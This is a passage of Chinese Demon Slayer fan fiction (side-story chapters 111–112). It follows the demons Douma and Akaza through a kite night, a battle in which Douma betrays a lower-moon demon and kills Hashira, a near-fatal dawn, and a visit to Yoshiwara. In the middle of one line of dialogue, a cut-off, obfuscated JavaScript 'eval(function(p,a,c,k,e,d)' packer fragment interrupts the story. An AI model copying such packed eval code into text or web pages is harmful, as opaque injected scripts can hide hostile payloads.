“您觉得,这种人即便被鬼吃了,幕府会在意吗?要知道他们可大多是从人吃人的地方来的,就算其中有人死了,町奉行也只会当作是饥民自相残杀的结果,而猎鬼人能分辨出人和鬼,又一向以保护人类作为自己的信条,他们是无法袖手旁观的。” “只要先派几个下级鬼到那些地方觅食,用不了多久,死的人多了,柱就一定会出现的,到时候…” 他注意到了对方的诧异,暂时停下了侃侃而谈,“猗窝座阁下?我说错了什么话吗?” “没有。”猗窝座用一种难以言喻的眼神看着他:“你….脑子倒是不错。在京都就是这么干的?” “猜对啦~”童磨笑的甜美,“阁下是在夸奖我吗?好开心~” “我会去请求那位大人的同意,你回去等我消息。”猗窝座淡淡的说,“还有那两个女孩,你打算怎么办?” “当然是带回我的寺院啦,阁下放心好了,我那里有很多这样的女孩子,她们是不会寂寞的哦。猗窝座阁下如果惦念她们了,可以随时来看望。对了对了,您要是没地方住的话,也可以去我那里哦,我可是专门收留无家可归的人呢~” “我不需要。”猗窝座的表情又有点僵硬,“第一次见到你这样的鬼。” 童磨一脸无辜:“我这样的鬼?有什么不一样嘛?” “…没什么。” 每只鬼都有自己不为人知的过往,但猗窝座没有过往。 确切地说,是他丢失了变成鬼之前的所有记忆。 他知道自己一定曾经在江户生活过,因为他熟悉町里的每一条街道和每一家店铺,特别是药铺。甚至有些时候,他会在自己都没意识到的情况下走到某个地方,但事后又不知道自己为什么在那里。 这种熟悉感令他厌恶到想吐。那位大人常说,人类的一切都是软弱可鄙的,只有“劣化”了的鬼,才会对人类存有亲近感,特别是上弦,如果亲近人类,那就是彻头彻尾的堕落,是软弱至极的行为。 软弱是绝对不可以的,软弱是他通往强者之路上的绊脚石,必须清除掉。 但为什么…这个新来的上弦之六,可以那样肆无忌惮的与弱小的人类生活在一个屋檐下,还收留人类,救济人类? 可当他说起以人类乃至其他鬼作为诱饵时,又是那样的坦然且冷酷。 那双总是含着笑意的眼睛,化鬼已近百年的猗窝座怎么也看不透。 “猗窝座阁下?猗窝座阁下?” 白橡色头发的鬼笑眯眯地叫他。 猗窝座回过神来。这已经是这个月他第五次在天黑以后跑来童磨的极乐寺了。此事着实奇怪,虽说最开始是来看望叫阿幸的女孩,但来了两次后,只要他感觉头脑空白、不知自己为何游荡在那座熟悉又陌生的城市中时,就会不由自主地想到童磨和他的寺院。极乐寺建在深山,却讲究的很,围着主殿是一片莲池,此时正值四月,新生的莲叶已经开始浮出水面,一排石灯照亮了宽敞的庭院,庭院中以白砂铺地,永远飘散着檀香的味道,甚至连那家伙常穿的黑袍上也都是香味,只有以鬼的嗅觉,猗窝座才能闻出潜藏在香气下的那一丝血腥味。 那是以人为食的鬼身上去不掉的气味,他自己也有,但童磨身上的血腥味似乎被掩饰的很好,就连那些整天来寺院拜见他的人类都没有察觉。 月下的寺院,静谧到只有风声和虫鸣,猗窝座每次都以少年的姿态前来,而童磨也好像心有所感,总会在檐廊下抽着烟等他。那里的灯火彻夜长明,似乎刻意为他而留。也只有在这里,近百年来沉浸在战斗和杀戮中的上弦之四能得到片刻平静。 猗窝座觉得自己有点可笑,居然会产生这种幻觉。 “怎么了?” 他望着屋檐下的灯笼,随口应道。一只飞蛾正一次次撞向棉纸做的灯罩,灯罩上写着墨色的“极乐”二字。 “阁下这次又带了…这么有趣的东西嘛?” “有什么不对吗?”猗窝座冷然道。 “可这是风筝诶。” “风筝怎么了?” “上次是剑玉,上上次是陀螺吧?“ “那又怎样?” “没怎样啦,但阿幸那孩子…是瞎子呀。” 猗窝座哽住一口气。 “…我看 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一边说着,童磨还真拿起了猗窝座带来的那只风筝,说是风筝,只是在竹篾上糊了一张菱形的薄纸,上面用红墨画了个圆点,是他见过最简陋的风筝了。 “恕我直言,京都的小孩子都不会玩这种破玩意呢,”童磨啧啧称奇道,“阁下未免也太小气了吧?” 少年样貌的上弦鬼恼羞成怒地跳了起来:“小气?!我花了二十文呢!” “啧,顶多值十文,您肯定被人给骗啦~” “…你到底玩不玩?玩就给我闭嘴!” 童磨如同奸计得逞,立刻笑的眯起了眼睛。 “当然玩啦!” 一玩起来猗窝座就发现,这个叫童磨的家伙,还真是很精于此道。那只破烂的小风筝,还真摇摇晃晃的飞上了天。 小摊给的线不够长,童磨不知道从哪找出一卷丝线接了上去,直到将那风筝放的成了月亮前的一个小黑点,才停了下来。 “阁下听说过长崎那边的斗风筝吗?” 两个上弦鬼坐在寺院大殿的屋脊上。银白如雪的月光照亮了目力所及的一切,鬼在暗夜中的视觉和听觉又格外好,好到猗窝座能清清楚楚地看到一望无际的森林和山谷,听见远处“御岳升仙峡”那昼夜不息的瀑布声。 “没听过,那是什么?” “是长崎的特有风物了,每年四月的时候,对,就是现在哦,当地都流行斗风筝,风筝线上绑着带刀片的‘雁木’,谁先割断别人的风筝线就算赢了。” “为什么要割断别人的风筝线?” ”诶?是比赛呀,比赛规则就是这样嘛。” 猗窝座嗤笑一声:“无聊,你都是从哪听来的这些无聊的事?” “有信徒是那边的人,告诉我的。”童磨玩着扇子上的穗子,“听着很有趣呢,小时候有段时间一直想亲眼去看看。” 猗窝座怔了怔:“你还记得以前的事?” “我的记性很好哦,人类时的事都记得一清二楚呢。”童磨微笑道,“不光如此,信徒们的名字、长相、家里的情况…我都记得住哦。您在这里看到的人,已经是我变鬼以后的第二批信徒了,老的那批都死啦。” “真是搞不懂你。”猗窝座皱眉,“你就这么喜欢人类吗?” “不是喜欢,只是可怜他们而已。” 童磨看着远处,似笑非笑的说。 “人类注定一死,死后思想停止,□□腐烂,一切都化为虚无,但即便是活着时,他们也依然要受尽痛苦,然而人类却愚蠢到不明白自己为何而受苦。三界如火宅呀,猗窝座阁下,帮助这些可怜的人脱离苦海,就是我存在的意义。” “听不懂你在说什么。”猗窝座摇头,“但我看那两个女孩子在你这里过得挺开心的。” “那是因为阁下您呀。” “因为我?” “因为猗窝座阁下看上去很喜欢那两个小姑娘,我当然要好好照顾她们啦~”童磨笑的极为灿烂,“您可是我最好的朋友呀!” 猗窝座没来由的感到一阵烦躁。 “简直是胡说八道,我怎么会喜欢人类!”他恢复了冷冽的语气,“还有,你别搞错了,我没有和你做朋友的打算。” “诶?为什么呢?” 看那新来的鬼还是一副天真无邪的表情,猗窝座烦到想打爆他的头。 “那位大人不允许上弦之间交往过于密切,还有,想要变强,就必须往上爬,也许有一天,你会向我发起换位血战,到时我们就是敌人,必须吞噬对方才行。”他耐着性子说,“也就是说,总有一天我会杀了你,或是你杀了我,现在明白了吗?” “可我是不会向阁下您发起换位战的呀。” 面前的上弦之六歪了歪头,冰晶似的眼睛看起来像是什么奇特的生物。 “我是不会那么做的哦。”他重复了一遍。 “因为阁下是我在江户认识的第一个朋友,我每天都期盼着阁下的到来,您就像是我的风筝线一样呐。” 猗窝座直直地盯了他一会儿,终于从牙缝里迸出几个字: “你脑子有毛病。” 111. 番外篇·天明之时(4) 到了五月,江户城里开始人心惶惶,隔三差五就有衣着破烂的流民出现在町里的街头巷尾,还胡言乱语什么城外出了妖怪。正赶上米价暴涨,町奉行也有些坐不住了,在各条官道上加派了人手,将抓到的流民统统关进牢房,还出了安民告示,让大家不要听信谣言,将军治下的太平盛世哪来的妖怪,不过是这些乡下来的“浮浪者”借机滋事罢了。 然而小道消息这东西一向封不住,江户人又格外八卦,最后在酒馆食肆里流传的版本,是这些“浮浪者”不仅危害社会治安,还吃人肉,简直天理难容,万万不能放他们进入城下町。 童磨隐匿在半山的一棵大树后,观察着下方村子里的战况。 说是村子,其实只是城外山脚下的流民聚集区,用简陋的木板和草席搭起了成片的房子,足有五六百人住在这里。先前已经有四五只恶鬼在此潜伏,入夜就出来吃人,闹了近一个月,终于有猎鬼人的一支小队赶了过来。 自然是有来无回。这批鬼里有个叫“餍余”的下弦,战斗力强悍且极为恶趣味,其血鬼术名为“傀儡杀”,即是操控半死的人类替他作战,这些年轻的猎鬼人不忍心斩杀同类,结果全军覆没,成了新的傀儡。 鬼杀队察觉到了不对劲,第二次便派了两个柱率领一批级别高的剑士前来,但一来就面临了同样的两难境地,眼前都是穿着队服的昔日同伴,还都有残存的意识,但身上长出了红红绿绿的菌丝,已然成了会挥刀的行尸走肉。 变成傀儡的剑士们流着眼泪,发出阵阵凄厉的哀鸣,冲向了自己的队友。 这种情况下什么解毒剂也来不及使用,两个柱只能忍痛下令,予以斩杀。 “这就对了,这就对了!杀的好!杀的好!” 名为餍余的下弦鬼兴奋的大叫,枯瘦的脸早已扭曲,发黄的眼珠里全是嗜血的狂热。 饿鬼道。童磨想起了童年时看过的佛经。 虽说同为十二鬼月,但他从不认为自己和这种东西是同类。 餍余也在偷眼审视这位新来的上弦,明明已经变成了鬼,却还是一副人类的样子,不仅长得俊,连穿的衣服都是好料子,简直像个混花街的公子哥,真是让鬼不爽。 不爽归不爽,那位大人叫他暂且听命于这个小白脸上弦,他也只能照办。只是不知道这小子有什么能力,看着化鬼时间不长,又只是上弦之六,身为下弦之一的他如果真想发起换位,也不是完全没可能赢。 “先前拜托阁下查的事情,有结果了吗?”童磨忽然笑嘻嘻地问。 下弦鬼呲了呲长牙:“大人您可找对人了,小的是十二鬼月里最早的那批,对江户这边的陈年旧事再清楚不过了。那是近百年前的一桩谜案,说是在川越那边有家素流道场,有父女二人被隔壁剑道道场的人投毒害死,结果有个门生恰好回家扫墓,躲过一劫。您猜怎么着?这个门生回来以后发了狂,赤手空拳把剑道道场的六十七人虐杀致死,啧啧,那场面…据说去收尸的都吐了一地,连天花板上都是脑浆和内脏,只留下一个吓疯了的女佣。川越的衙门当作大案,报给了江户的町奉行,奉行所一查,作案的竟是个屡教不改的惯偷,十来岁就因为多次扒窃被判了入墨刑,流放到外地去了,谁知道没过几年就在川越闹出这等大事。不过最后死活也没抓到这个逃走的门生,也就作罢了。因为死者的死状太过离奇,过了三十年,川越那边就都说这是伪造出来的传说,没人当真了。大人,能否容我问一句,您为何对这种怪谈感兴趣呀?您认识…作案的人吗?” 童磨看了他一眼,依旧笑眯眯地说:“是呀,案犯碰巧是我的朋友。” “唉呀,这可真是…”餍余转了转眼珠,“大人的朋友可是个了不得的人物,听着比鬼还厉害呢,不过已经过了这么多年,这人应该早死了,您还要我继续查下去吗?” “多谢阁下的好意,不用查了。”童磨笑道,“改日我送几个可爱的女孩子给阁下当谢礼。” “少女的肉?那可是好东西!要是有稀血就更好了!”餍余舔舔嘴,“今天打完这场,还望上弦大人在那位大人面前替我美言几句,我这个下弦做了百多年了,也想混个上弦当当…就按之前说好的,我先上,把那些普通猎鬼人干掉,然后将柱引进山谷,您来对付他们?” “没问题哦,那就辛苦阁下啦~”白橡色头发的上弦鬼眯起眼睛,笑的人畜无害。 餍余的血鬼术果然狠辣。他从山上一路狂笑着冲进了下方的村子里,背后伸展出四五条触肢,只要划破见血,就能以菌丝感染人体。一时间村落中惨叫连连,被菌丝寄生的人受到控制,一窝蜂似的涌了出来,扑向那群刚刚亲手处决了队友的猎鬼人。 这些饥肠辘辘的流民本来毫无战斗力,但在餍余的驱动下,他们扑到人身上就开始疯狂撕咬,其中甚至有女人孩子,鬼杀队的剑士们见此场景深感绝望。 “该怎么办?我们难道要杀人吗?!”有人大喊道。 “杀了那个下弦鬼,血鬼术就会破除!“闻声赶来的炎柱吼道,“大家不要慌!普通队员帮忙疏散人群!甲级和乙级跟我来!” 餍余发出一阵怪笑:“蠢货!尽管来吧!肉盾我要多少有多少!看看你的刀是砍人快,还是砍鬼快?血鬼术·千杀尸阵!” 他的其中两条触肢突然炸裂,飞溅的鬼血像有生命般在慌乱奔跑的流民和猎鬼剑士中四散开来,沾到皮肤即生出菌丝,甚至连已经被砍倒在地的人,都摇摇晃晃地重新站了起来,在猎鬼人的刀前形成了层层人墙。 “不要被鬼血溅到!后撤!后撤!” 另一名柱反应过来,但已经来不及了,人潮和尸潮混在一起,朝他们奔涌过来。 餍余也不恋战,他的背后重新伸展出昆虫般的肢体,像一只巨大的螳螂,以不可思议的速度朝着一侧山谷的入口爬去。 炎柱带着十几名高阶剑士紧随其后,进入了夜雾深沉的山中。 纵使能同时操纵几十个傀儡,速度也极为惊人,但以下弦的实力,是很难和柱抗衡的。餍余活了百年,无比清楚这一点。 原因很简单,做鬼这事,天赋是一方面,有没有得到鬼王的赐血也是极其重要的原因。从下弦到上弦是一道优胜劣汰的关卡,只有能承受大量无惨的鬼血的鬼,实力才能有大幅度的提升。因此自十二鬼月成立以来,几乎从未有下弦鬼成功挑战上弦,吞噬猎鬼人的“柱”最多的也是上弦。 然而他拼命搏杀到最后,也没有等来那位看上去相当热情的上弦之六的支援。 在头颅被一招“上升炎天”斩飞时,餍余才在骤然颠倒的视野里,看到那个红衣白发的上弦鬼,带着一脸无忧无虑的笑容,悠哉悠哉地走来。 “诶呀呀,阁下真是能干呀,本来没想到能拖住他们这么久呢,或许您真有上弦的水准也说不定哦~” 上弦之六停步在餍余逐渐消散的头颅旁,笑吟吟地说。 “不!不!我不要死!”头颅疯狂地大叫,“上弦大人救命!” “好可怜,但您的头都被砍掉了,实在是没救了呀。”童磨流下两行同情的眼泪,“请安心地死去吧,死了就什么感觉都没有了,一点也不会痛苦哦~” 餍余终于明白过来:“你、你居然骗了我!那位大人知道了一定会惩罚你的!我就算下地狱也…” 他的话没有说完,就化作了飞灰。 “阁下真是愚蠢,您难道不知道,世上根本不存在地狱这种东西嘛?” 童磨从那摊灰烬上踩了过去,手中的两把金扇上凝结出白色的霜华,与此同时,空气的温度骤降,不知从何处来的雪,开始在五月的山谷中落下。 他朝已经鏖战了近一夜的两名柱和仅剩的六个鬼杀队员露出了彬彬有礼的笑容。 “初次见面,我叫童磨,这真是个美好的夜晚呀~” 人类和鬼其实各有各的极限,这种极限是所谓的意志力也无法改变的。 人类的极限是体能,再意志强大的人也有耗尽体力的一刻,何况一旦身体从内部开始崩坏,在剧烈运动中,连呼吸法的止血术都难以发挥作用。 而鬼的极限是时间,天明之时必须隐入黑暗,否则哪怕是鬼王本人也会化为灰烬。 两名柱和六名队员对着面前的上弦鬼发起了决死的攻击。 但上弦之六的动作比那只下弦鬼还要快的多。飞扬的冰霜中,他的身影已经从原地消失,下一刻就出现在两名队员身后,金扇化作展开的利刃,仅一个回旋就劈开了其中一人的脖子,以及另一个人的胸腔。 空中飚出两道血泉,童磨惊讶地说: “你们的反应好迟钝呀,是累到不行了吗?我记得之前在京都遇到的猎鬼人好像没有这么弱呐。” “啊,对了,”他甜腻的笑起来,“你们的招式我刚刚都看到了,就凭你们几个人,是砍不掉我的头的哦~” “我们几个人,就足够杀你这卑鄙无耻的恶鬼了!”炎柱吼道:“下地狱去吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阁下是水柱吗?我第一次遇到水柱哦。”童磨饶有兴致地看着那人,“您的招式相当灵活多变呢,目前为止我已经看出七种不同的剑型了呢,你们的呼吸法真是太有趣啦…” 话音未落,那名水柱和另一名队员已经攻至近前,不顾一切地将刀挥向上弦鬼的脖颈。 “…但前提是,你们要可·以·呼·吸才行哦~”童磨笑出了四颗雪白的尖牙,“血鬼术·寒烈之白姬。” 两具少女模样的冰偶一前一后地挡在了猎鬼人面前,口中吐出无数冰晶组成的冻雾,冻结的空气甚至令二人的眼睛无法睁开,动作也不由自主地缓慢下来。 然而如同约好了一般,那名炎柱和另一名剑士也冲了上来,两把日轮刀在高速的挥舞中破开了冰雾,一连串烈焰般的斩击朝着面前的上弦鬼兜头罩下,在他愕然的目光中劈开了一侧的肩膀。 炎柱的日轮刀卡在了鬼的胸骨中,第二把则被金扇挡住。童磨低头看了看暂时无法愈合的身体,舔舔嘴角的鲜血。 “非常不错哦,已经伤成这样,还能使出全力一击,你们这些猎鬼人真是让我刮目相看呢…” 他微笑着吐出轻柔的言语:“血鬼术·玄冬冰柱。” 几十根闪耀着寒光的冰凌自空中降下,几乎毫无悬念的贯穿了他周围四人的身体。 但猎鬼人仿佛是铁打的一般,他们至死也不肯松手,即便在垂死之际,那名水柱依然奋力将刀砍进了鬼的身体。 这两个柱竟要跟他同归于尽。 冰之鬼眯起眼睛,望向了远处连绵的群山。 “诶呀,天要亮了。”他喃喃道。 童磨已有四十年没见过日出。此时此刻,他突然有点想看看太阳的样子。 太阳能融化世上所有的冰雪吗?母亲。 七岁时他曾如此问道。 不能,神子大人。“母亲”说。否则冬天就不会冻死人了。 但神明会保佑所有的信徒,助他们前往极乐净土,不受饥寒之苦。“母亲”说。 您是所有人的指望啊,我的神子大人。“母亲”又说。指引信徒们,让他们得到幸福,您是为此才诞生在世上的。 所以,请不要叫我母亲,我只是有幸生下您的女人而已。 “母亲”最后说。 没有来处,因此不会回望过去。 没有去处,因此不会期盼明天。 他停留在一段无头无尾的空白当中,唯有神明之子这个头衔,始终未变。 童磨微笑起来,向着日出的方向伸展开双臂。 “啊啊,请赐予我…” 赐予他什么呢?他甚至什么都不想要。 下一刻,一股巨大的力量猛地扯开了他面前猎鬼人的身体,带着他向一旁幽深的林中扑去,那力量大到不可抗拒,像是人类口中称为“命运”的东西。 耳边传来猗窝座破了音的咒骂: “混蛋!你是想找死吗?!” 112. 番外篇·天明之时(5) 猗窝座特别想知道自己是造了什么孽,才会碰到这么个脑子不正常的鬼。 明明已经赢了战斗,却站在那里不走,要不是他到的及时,这家伙恐怕连个渣都不剩了。事后还振振有词的说只是一时兴起,因为日出前的天空颜色像女孩子的脸蛋,实在可爱的要命,想多看一眼再跑。 十二鬼月里向来不缺疯子,但猗窝座做鬼这么多年,也没见过疯成这样的。 他开始后悔自己的一时心软,因为童磨从进了他的“家”开始就一直在喋喋不休。 “猗窝座阁下,您不会…就住在这种地方吧?” “执行任务时都这样。”猗窝座从地上捡起个草垫子丢给他,“难道你没住过树上?” “人家只有最开始的时候才进山狩猎,平时都呆在寺院里呢…”童磨泪汪汪地环顾四周,“而且这里明明是个山洞吧,怎么能住嘛?” “你哪来这么多废话?”猗窝座懒得听他抱怨,拢了拢地上的干草,坐了下来,看到对方那副可怜巴巴的样子,又忍不住暗自觉得好笑。 即便以男人的标准来看,童磨长的也相当亮眼。白橡木色的长发可谓世间罕有,更不用说那双在黑暗中也像水晶般泛着虹彩的桃花眼,这样俊美的相貌,也难怪一群人类将他奉为神明之子。只是这位神明之子此刻看起来实在有点凄惨,丝缎制的精致和服被日轮刀的斩击撕裂了几条大口子,刚刚跟着他在树林中狂奔一通,头发和衣服上粘的都是些残花败叶,平日里那副翩翩贵公子的气度一下大打折扣,看他不情不愿地坐在那里,活像只被雨淋湿了毛、垂头丧气的狐狸。 不过这样的上弦之六,比起往常那位笑容温文却说一不二的教主大人,似乎更像个真实的”人”。 猗窝座连自己也没意识到语气不知何时柔和了下来,居然耐心地解释道:“那位大人说过,青色彼岸花长在江户附近的山里,所以我们的任务也大多和这个有关,你尽快习惯吧。” 没想到童磨握着扇子笑了起来。 “哈哈哈,阁下不会是认真的吧?那种东西根本就不存在嘛。” 猗窝座差点扑上去堵住他的嘴,但冷静下来一想,鬼王的读心术仅限面对面时才起作用,才暗暗松了口气。即使这样他也惊魂未定:“敢质疑那位大人的决定?你不要命了?” “在京都时我就查了所有能找到的古籍,连御所的药典里都没有记载这么一味药。”童磨一脸无谓的摊摊手,“也托这边熟识的旗本问了幕府的御医,人家也说从未听闻过。依我看呀,那种花完全是子虚乌有的杜撰,不可能找得到啦。” 猗窝座此刻只庆幸老板远在无限城,大概是在和上弦之壹对弈或者忙别的什么,没顾上他俩。 “够了,这种话以后万万不能对其他鬼月说起。”他皱眉道,“除非你想死的快。” “知道啦,人家又不是傻子。”童磨眯起眼睛,“诶呀呀,难不成猗窝座阁下…是在担心我嘛?” “…少自作多情了,我是怕你连累我。” “那阁下刚才何必救我?”童磨狡黠地笑道,“我死了,对您不会有任何损失吧。” 猗窝座气不打一处来:”你怎么好意思说这种话!你是瞎了还是傻了?不怕太阳吗?!” “怕呀,当然怕。”童磨往后靠了靠,大约意识到身后是湿乎乎的石壁,不是他那覆着金黄绸缎的神座,又一脸别扭的坐直了。 “但阁下或许不知道,这世上的至妙之时,正是在将死未死之间,如此才能体会游戏的滋味,否则活着也太过无趣了。” 猗窝座不禁看了他一眼,发现童磨依然保持着嘴角恰到好处的弧度,双眼却好像在望着虚空,一片寂静。 “想死的话,何必做鬼?”他冷然道。 “诶呀,您又想多了,我什么时候说我想死了呀?”童磨笑嘻嘻地说,“别的不说,我要是死了,我那群信徒可怎么办?光是江户这米价,武士都快吃不起饭了,我这么善良的人,怎么能眼睁睁看着他们流离失所、饿死街头呢?” “呵,你骗谁呢?我怎么从来没听过世上有这种白吃白喝的好事?” “是真的哦,”童磨立马正色道,“给信徒带来幸福是我作为教主的义务,从记事开始,从未有过一天懈怠呢。” 猗窝座哑然失笑:“记事?你才多大就当这个教主了?你父母呢?” “死了。”童磨轻描淡写的说,“我八岁那年,母亲杀了父亲,然后服毒自杀了。不过她认识京都那边的不少达官贵人,个个抢着给我供奉呢,所以就算他们死了也没任何影响哦。阁下您呢?” “我怎么了?” “阁下为什么变成鬼?” 猗窝座摇头:“我不记得了。” “诶?一点也不记得了吗?” “要说一点也不记得,也不完全是那样。” 猗窝座顿了顿,说道:“童磨,你做过梦吗?” 童磨愣住片刻,随即哈哈大笑起来。 “阁下真会开玩笑,鬼是不需要睡觉的呀!” “我不知道那算梦还是什么,只要我吃人,就会出现类似幻象的东西。”猗窝座低声说,“有时是女人的哭声,有时是血,有时是一座桥,一口井,但我什么都想不起来。” “世上什么怪事都有,我认为阁下完全不必为此困扰。”童磨笑的很是贴心,“如果您是我的信徒,我会建议您向神明祈祷,或者默念‘万世极乐’一百零八遍,但您不是我的信徒,所以如果实在感到烦恼的时候,念几遍我的名字也许能起到同样的效果。” “…这算什么鬼方法?我宁可不吃人,谢谢。” “阁下又在开玩笑了,不吃人,您是没法变强的。” “我本来也不爱吃人,光靠修行也一样能升到上弦之四。”猗窝座不屑的说,“从来没听过靠吃人能成强者,就连上弦之壹,也是靠四百年来不间断的剑道修行才如此强悍,始终无人能动摇他的位置。” “这么看的话,那位大人对您还真是优待呢,他一向嫌我不够努力上进来着。”童磨语气哀怨地说,“要是有天我比猗窝座阁下还强了,不知道他是不是能比较喜欢我一点。” “你成天闲的要死,还养着那么多人类,那位大人已经够容忍你了。”猗窝座摇头,“你最好认真点,如果没有足够的能力,即使是上弦,被淘汰也是很常见的事。” 我养人类是拿来吃的。童磨想了想,把这句话咽了回去,换了个说辞。 “与其说是能力,不如说是用处更重要吧。对那位大人而言,我的用处和猗窝座阁下的用处可不一样哦。” “嗯?为什么这么说?” “这是秘密。”童磨笑的讳莫如深,“如果哪天我比阁下强了,就告诉您。” 猗窝座嗤了一声:“就你这样,再过两百年吧。” “我是说真的哦。如果真有那么一天,您会向我发起换位血战吗?“ 猗窝座抬起头,发现童磨竟然颇为认真地盯着他,被那双奇特的眼睛盯着的感觉也很奇特,好像整个人都被看透了似的。 “会,我会打烂你的头。”他面无表情地说。 “阁下真是太冷酷啦~”童磨擦了擦眼睛,哀叹道,“亏我还帮您养着那两个小姑娘呢,早知如此,我就把她们卖到花街去给人当粗使丫头了…” “你敢!”猗窝座瞪起眼睛,“那种事想都别想!算我欠你一个人情,以后还你。” 两只鬼在山洞里一直躲到天黑,童磨吵吵闹闹的说要饿死了,猗窝座才无奈地跟着他出来,返回先前和鬼杀队战斗的地方看看有没有剩下什么能吃的。 现场显然已经被清理过,尸体全都不见了。 “这个产屋敷好吝啬哦,”童磨撅着嘴抱怨,“死都已经死了,还不肯留给我们吃,柱的营养那么好,浪费真是太可惜啦。” 他看着空荡荡的山谷,若有所思的说,“不过他们是如何这么快就找到这里的呐?” “这个。” 猗窝座递给他一根黑色的羽毛。 “这是…乌鸦?” “对,猎鬼人之间通过乌鸦来传递消息,这些鸟躲在树林里,很难发现。” “真是的,看来下次要把血鬼术的范围再扩大一点才行呢。” 猗窝座忽然察觉到了什么,“那边有新鲜的血味,我们去看看。” 出了山谷,四面皆是火光,流民建造的那些破草棚正在大火中熊熊燃烧,上百名手握太刀的武士正虎视眈眈的围着剩下的“浮浪者”,衣衫褴褛的人群像受惊的羊一样挤在一边,另一边则堆了十几具被斩首的尸体。 “尔等群聚在江户城外,企图犯上作乱,这就是下场。”有个面容威严的武士说道,“还不快些回你们自己的藩地去,再敢乱跑,全部按叛贼处理。” “大人!不是我们干的!都说了是不知道哪里来的野武士和妖怪打了起来…” “住口!将军天威之下,哪来的野武士和妖怪!简直一派胡言!” “大人,求您给指条生路啊!”有个女人的声音哭道,“陆奥那边乡下已经连草根都没得吃了,您让我们去哪里啊?” “不要狡辩了!农民就是要老老实实的呆在乡下种地,不种地不交年贡,你还要造反不成?” “造反怎么了?!你们还让不让人活了?!”有个年轻人叫起来,马上有两名武士走上前去,抓住他的衣领就往地上一推,手起刀落。 鲜血迸溅到五尺开外,人群中爆发出恐怖的尖叫,有女人哭嚎起来:“助六!助六啊…杀人啦…” “再警告你们一遍,小心自己的性命。这里是江户,不是你们这些乡下人呆的地方!”那名武士傲慢地说,“偷盗者,砍手,犯上者,砍头,都听懂了没有?” “诶呀呀,武家的气势就是不一样,在京都可没见过这阵仗呐~”童磨站在树木的阴影里,一副看热闹不嫌事大的样子,“难怪公卿们的日子越来越不好过,依我看,照这么下去,江户也迟早要乱一场…猗窝座阁下?您怎么啦?” 有那么一瞬间,他看到猗窝座阴沉着脸,攥紧的拳头上布满青筋,嘴角的獠牙都呲了出来,像只发怒的山猫。 童磨伸手在他眼前晃了晃:“阁下?猗窝座阁下?” 猗窝座金色的眼瞳暗了暗,好像突然回过神来,他垂下头,冷冷地说:“走吧。” “阁下刚刚是怎么啦?吓了我一跳呢~” “没怎么,看不惯那帮人罢了。” “诶?可是您自己说过嘛,弱者就算死了也是活该吧。” “我是说过,那又怎样?看不惯就是看不惯。” “诶?诶诶?”童磨亦步亦趋地跟着他,一脸天真好奇,“可咱们是鬼吧?” “废话,还用你告诉我?” “本质上,咱们和那些人没有区别哦。” 猗窝座猛的停住了脚步,转身狠狠揪住了童磨的衣领。 “不一样!”他咬牙切齿地低吼。 “我和那种杂碎…不一样!” “有什么不一样?” 童磨在月光下微笑,眼睛里好像蒙着一层薄冰,“我们都是以弱者的血肉为食的怪物呀,区别只是,我们比他们活得长。” “吵死了!” 携着凌厉风声的一拳落在他脸上,随着骨骼碎裂的声音,童磨失去了左侧的视觉。 啊,眼球被打爆了。他想。很强嘛,猗窝座阁下。 上弦鬼的再生速度惊人,童磨很快就恢复了清晰的视野,看到面前的猗窝座怔怔地看着他。 “那个…对不起啊。”少年模样的鬼翕动着嘴唇,竟然在向他道歉。 “我也不知道是怎么回事,有时候就是控制不住自己。”猗窝座的样子看起来有点茫然,“每经过一次那位大人的赐血,都觉得失去了点什么…但我还是会听到女人的哭声,产生奇怪的幻觉…可能是,可能是…” 什么也不是,您失去的只是作为“人类”的部分而已。童磨想。 人类是痛苦又脆弱的存在。 这是一件好事,没有比这更好的事了。 “没关系哦。” 冰之鬼绽放出温柔的笑颜。 “猗窝座阁下是个善良的人呢,但这世上,一向是坏人飞扬跋扈,过的要多痛快有多痛快,而善良的好人却总会遭到蛮不讲理的对待。您不必为那些无法改变的事感到忧虑…对了,我有个好地方可以带阁下一起去,保管您忘掉所有不开心的事哦~” “哈?你这人…又耍什么新花样?”猗窝座皱眉,“不要闹的太过分了。” “放心好啦!是很~不~错~的地方哦~” “你说的好地方…就是这里?“ 猗窝座盯着眼前灯火通明的长街,透过熙熙攘攘的人群,两侧的栅栏中坐着一排排脸涂的雪白的女子,有几个搔首弄姿的正对着他抛媚眼。 栅栏是朱红的,灯笼也是朱红的,因此万物都被染了一层暧昧的暖光,空气里浓郁的脂粉气、酒气和烟味让长年远离人群的猗窝座极其不适应。 “对呀,听说江户的男人没有不喜欢这里的嘛~” 童磨换了一身银白色的华丽羽织,手中握着金灿灿的扇子,一副风月场老手的熟稔姿态。 “咱们进去吧,我可是特意约了京极屋的朝云太夫呢,让花魁小姐久等的话,是很失礼的做法哦~” “等等!”猗窝座额上青筋跳动,“我什么时候同意跟你来吉原了?!” “诶?我说要带您来时您也没反对呀?” “我他妈怎么知道你要来这种地方!”猗窝座气急败坏的暴了粗口,“要去你去!我不去!” “诶呀呀…”童磨摆出一副泫然欲泣的表情,“阁下不会如此无情吧?我一个人连个朋友也没有,就这么进去的话,是会被人笑话的哦。况且为了给您置办新衣服,我可是花了大价钱…” 眼看面前暴躁的少年伸手就要撕身上那件深蓝色的和服,他赶紧改口:“阁下不要急嘛,就当作我好好照顾那两个小姑娘的奖励还不行吗?再说了,只是跟花魁小姐喝个茶而已,朝云太夫可是见多识广的人,万一有青色彼岸花、或是鬼杀队的情报也说不定哦?“ 见猗窝座脸上滑过一丝犹豫,白橡色头发的鬼喜笑颜开地拉住了他的衣袖,“走啦走啦,工作之后就是要放松下,才有心情继续努力嘛~” 猗窝座活了快一百年,就这么第一次扭扭捏捏地踏进了吉原花街的大门。 一曲琵琶的弦音终了,衣饰华丽不输大奥女中的美艳女子微微颔首,桃山刺绣的罩衫中露出天鹅般优美的颈项。一旁的“秃”接过琵琶,递上一方雪白的丝帕。 花魁擦了手,从螺钿盒子里拿起一双香箸,又打开一只铜盒,从中夹起颗香丸,放到面前香炉里的云母片上,随即笑而不语地看向童磨。 白橡色头发的男人歪在竹席上,一手支着头,眯起眼睛笑道:“朝云小姐这次不用源氏的组香玩法了?以为用合香就能赢我嘛?” “源氏的五十二组香谱已经都跟大人试过一遍了,没意思。今天换点新鲜的。”朝云太夫轻笑,“也是罚您,每次都说来就来,害我推掉其他大人的酒局,只为陪您喝茶品香,真不公平。” 她停了停,又说,“但今日您带了朋友,倒是出乎我意料。” 